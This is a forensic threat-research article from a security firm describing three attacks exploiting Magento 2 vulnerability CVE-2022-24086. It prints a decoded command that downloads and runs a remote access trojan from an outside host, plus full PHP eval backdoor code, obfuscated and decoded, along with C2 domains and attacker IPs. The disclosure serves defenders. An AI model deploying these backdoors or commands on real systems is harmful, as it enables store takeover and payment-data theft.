Surge in Magento 2 template attacks
by Sansec Forensics Team
Published in Threat Research − September 22, 2022
The critical template vulnerability in Magento 2 (CVE-2022-24086) is gaining popularity among eCommerce cyber criminals. The majority of recent Sansec forensic cases concern this attack method. In this article we share our findings of 3 template hacks, and hope it will help you if you are confronted with a similar attack.
Currently, Sansec eComscan is the only malware scanner that detects the injected remote access trojan (see Virustotal).
223sam.jpg attack
All of the observed attacks have been interactive, possibly because the Magento checkout flow is very hard to automate. It starts with the creation of a new customer account and an order placement, which may result in a failed payment. The sales_order_address
table now contains a record with malicious template code, which decodes to:
cd pub;cd media;curl https://theroots.in/pub/media/avatar/223sam.jpg -o cli &&chmod +x cli&&./cli;
This downloads a Linux executable called 223sam.jpg
and launches it as a background process called cli
. Sansec found that it is actually a Remote Access Trojan (RAT). While it remains in memory, it creates a state file lg000
and polls a remote server hosted in Bulgaria for commands.
dev-clientservice.com (primary)
mailchimp-addons.com
allsecurehosting.com
The RAT has full access to the database and the running PHP processes. Another difficulty for forensic investigators, is that this RAT can be injected on any of the nodes in a mult-server cluster environment.
The RAT invocation as ./cli
is reminiscent of the backdoored FishPig attack that we disclosed last week. It may indicate a common threat actor.
IPs involved in this attack are:
45.128.199.3
45.134.20.11
86.104.15.60
health_check.php attack
A variation of this attack is the attempted injection of a health_check.php
backdoor. The VAT field in the sales order may contain this template code, which (decoded) creates a file called pub/media/health_check.php
:
$injStr = "PD9waHAKaWYoaXNzZXQoJF9QT1NUWyJhdGEiXSkpCnskdl9kYXRhPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJhdGEiXSk7CkBldmFsKCR2X2RhdGEpOwpleGl0KDApOwp9";
$pth = "health_check.php";
$lpth = "live.log";
$expth = "pub/";
$medpth = "media/";
$b64 = "base64_decode";
if (file_exists($pth)) {
file_put_contents($pth, $b64($injStr));
file_put_contents($medpth . $lpth, $lpth);
}
if (file_exists($expth . $pth)) {
file_put_contents($expth . $pth, $b64($injStr));
file_put_contents($expth . $medpth . $lpth, $lpth);
}
It contains a generic eval
backdoor accepting commands via the POST ata
parameter:
<?php
if(isset($_POST["ata"]))
{$v_data=base64_decode($_POST["ata"]);
@eval($v_data);
exit(0);
}
Interceptor.php attack
A third attack variation has this template code, which replaces generated/code/Magento/Framework/App/FrontController/Interceptor.php
with this malicious code:
<?php
namespace Magento\Framework\App\FrontController;
/**
* Interceptor class for @see \Magento\Framework\App\FrontController
*/
class Interceptor extends \Magento\Framework\App\FrontController implements \Magento\Framework\Interception\InterceptorInterface
{
use \Magento\Framework\Interception\Interceptor;
public function __construct(\Magento\Framework\App\RouterListInterface $routerList, \Magento\Framework\App\ResponseInterface $response, ?\Magento\Framework\App\Request\ValidatorInterface $requestValidator = null, ?\Magento\Framework\Message\ManagerInterface $messageManager = null, ?\Psr\Log\LoggerInterface $logger = null, ?\Magento\Framework\App\State $appState = null, ?\Magento\Framework\App\AreaList $areaList = null)
{
$this->___init();
parent::__construct($routerList, $response, $requestValidator, $messageManager, $logger, $appState, $areaList);
}
/**
* {@inheritdoc}
*/
public function dispatch(\Magento\Framework\App\RequestInterface $request)
{
$pluginInfo = $this->pluginList->getNext($this->subjectType, 'dispatch');
$cryption_block = base64_decode('JGYwPWZhbHNlO2lmKGlzc2V0KCR3MVtiYXNlNjRfZGVjb2RlKCdaVzVqY25sd2RHbHZibDlyWlhrPScpXSkpeyR2Mj0kdzFbYmFzZTY0X2RlY29kZSgnWlc1amNubHdkR2x2Ymw5clpYaz0nKV07aWYoJGgzPT0kdjIpeyRmMD10cnVlO319aWYoaXNzZXQoJHcxW2Jhc2U2NF9kZWNvZGUoJ1puSnZiblJPWVcxbCcpXSkpeyR1ND0kdzFbYmFzZTY0X2RlY29kZSgnWm5KdmJuUk9ZVzFsJyldOyR1ND1iYXNlNjRfZGVjb2RlKCR1NCk7fWlmKCRmMCl7JGw1PWV2YWwoJHU0KTtyZXR1cm4gJGw1O30=');
$__init_function = @create_function('$w1, $h3', "$cryption_block");
$hash_key = "f374edde20";
$req = $_REQUEST;
$__init_function($req,$hash_key);
if (!$pluginInfo) {
return parent::dispatch($request);
} else {
return $this->___callPlugins('dispatch', func_get_args(), $pluginInfo);
}
}
}
This will execute another typical PHP eval
backdoor:
$f0 = false;
if (isset($w1[base64_decode('ZW5jcnlwdGlvbl9rZXk=')])) { // encryption_key
$v2 = $w1[base64_decode('ZW5jcnlwdGlvbl9rZXk=')];
if ($h3 == $v2) {
$f0 = true;
}
}
if (isset($w1[base64_decode('ZnJvbnROYW1l')])) { // frontName
$u4 = $w1[base64_decode('ZnJvbnROYW1l')];
$u4 = base64_decode($u4);
}
if ($f0) {
$l5 = eval($u4);
return $l5;
}
The malware is then executed on every Magento page request. But in practice, we have seen attackers use this URI as entry point:
POST /catalogsearch/result/?q=bestone
Read more
- Magento wish list exploit bypasses WAF protection
- Vendors defeat Magento security patch (+ simple check)
- Adobe Commerce merchants to be hit with TrojanOrders this season
- Magento 2 critical vulnerability (CVE-2022-24086 & CVE-2022-24087)
- Thousands of Adobe Commerce stores hacked in competing CosmicSting campaigns
In this article
Easy CSP for your store?
Try Sansec Watch! Free, simple and fully integrated. Get PCI compliant alerting with minimal effort.
Sansec WatchScan your store now
for malware & vulnerabilities
eComscan is the most thorough security scanner for Magento, Adobe Commerce, Shopware, WooCommerce and many more.
Learn more